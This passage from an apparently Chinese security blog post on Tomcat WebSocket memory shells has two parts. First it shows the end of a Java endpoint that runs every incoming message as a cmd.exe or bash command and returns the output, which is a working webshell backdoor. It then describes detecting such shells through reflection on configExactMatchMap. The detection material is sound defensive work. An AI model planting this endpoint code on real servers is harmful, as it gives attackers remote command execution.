&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;// System.out.println(&amp;#34;ok!&amp;#34;);
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;        &lt;span class=&#34;o&#34;&gt;}&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;catch&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;DeploymentException&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;e&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;throw&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;RuntimeException&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;e&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;o&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;o&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;kd&#34;&gt;private&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Session&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;session&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;kd&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;onMessage&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;String&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;message&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;try&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;kt&#34;&gt;boolean&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;iswin&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;System&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;getProperty&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;os.name&amp;#34;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;).&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;toLowerCase&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;().&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;startsWith&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;windows&amp;#34;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;Process&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;exec&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;iswin&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;n&#34;&gt;exec&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Runtime&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;getRuntime&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;().&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;exec&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;String&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;[]{&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;cmd.exe&amp;#34;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;/c&amp;#34;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;message&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;});&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;o&#34;&gt;}&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;else&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;n&#34;&gt;exec&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Runtime&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;getRuntime&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;().&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;exec&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;String&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;[]{&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;/bin/bash&amp;#34;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;-c&amp;#34;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;message&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;});&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;o&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;InputStream&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ips&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;exec&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;getInputStream&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;StringBuilder&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;sb&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;StringBuilder&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;kt&#34;&gt;int&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;while&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;((&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;i&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ips&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;read&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;())&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;!=&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;n&#34;&gt;sb&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;append&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;((&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;char&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;o&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;ips&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;close&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;exec&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;waitFor&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;this&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;session&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;getBasicRemote&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;().&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;sendText&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;sb&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;toString&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;());&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;o&#34;&gt;}&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;catch&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Exception&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;e&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;e&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;printStackTrace&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;o&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;o&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nd&#34;&gt;@Override&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;kd&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;onOpen&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Session&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;session&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;EndpointConfig&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;config&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;this&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;session&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;session&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;this&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;session&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;addMessageHandler&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;this&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;o&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;效果：&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://raw.githubusercontent.com/Anthem-whisper/imgbed/master/img/202207191826978.png&#34; alt=&#34;&#34;&gt;&lt;/p&gt;
&lt;h2 id=&#34;websocket内存马的检测方法&#34;&gt;WebSocket内存马的检测方法&lt;/h2&gt;
&lt;p&gt;&lt;img src=&#34;https://raw.githubusercontent.com/Anthem-whisper/imgbed/master/img/202207200104113.png&#34; alt=&#34;&#34;&gt;&lt;/p&gt;
&lt;p&gt;addEndpoint之后，可以在wsServerContainer里面有个configExactMatchMap属性里面找到Endpoint&lt;/p&gt;
&lt;p&gt;只需要想办法拿到这个configExactMatchMap里面的config，然后就可以调用getPath等方法就可以拿到endpoint的各种属性，以此来判别是否为内存马&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt; 1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 5
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 6
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 7
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 8
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 9
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;10
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;11
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;12
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;13
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;14
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;15
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;16
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;17
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;18
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;19
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;20
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;21
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;22
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;23
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;24
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;25
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;26
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;27
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;28
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;29
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;30
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;31
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-java&#34; data-lang=&#34;java&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kd&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;kd&#34;&gt;synchronized&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;List&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ServerEndpointConfig&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;getEndpointConfigs&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;HttpServletRequest&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;request&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;kd&#34;&gt;throws&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Exception&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;ServerContainer&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;sc&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ServerContainer&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;request&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;getServletContext&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;().&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;getAttribute&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ServerContainer&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;class&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;getName&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;());&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;Field&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_configExactMatchMap&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;sc&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;getClass&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;().&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;getDeclaredField&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;configExactMatchMap&amp;#34;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;_configExactMatchMap&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;setAccessible&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kc&#34;&gt;true&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;ConcurrentHashMap&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;configExactMatchMap&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ConcurrentHashMap&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_configExactMatchMap&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;get&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;sc&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;Class&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_ExactPathMatch&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Class&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;forName&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;org.apache.tomcat.websocket.server.WsServerContainer$ExactPathMatch&amp;#34;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;Method&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_getconfig&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_ExactPathMatch&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;getDeclaredMethod&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;getConfig&amp;#34;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;_getconfig&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;setAccessible&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kc&#34;&gt;true&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;List&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ServerEndpointConfig&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;configs&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ArrayList&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;&amp;gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;Iterator&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Map&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;Entry&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;String&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Object&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;iterator&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;configExactMatchMap&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;entrySet&lt;/span&gt;&lt;span 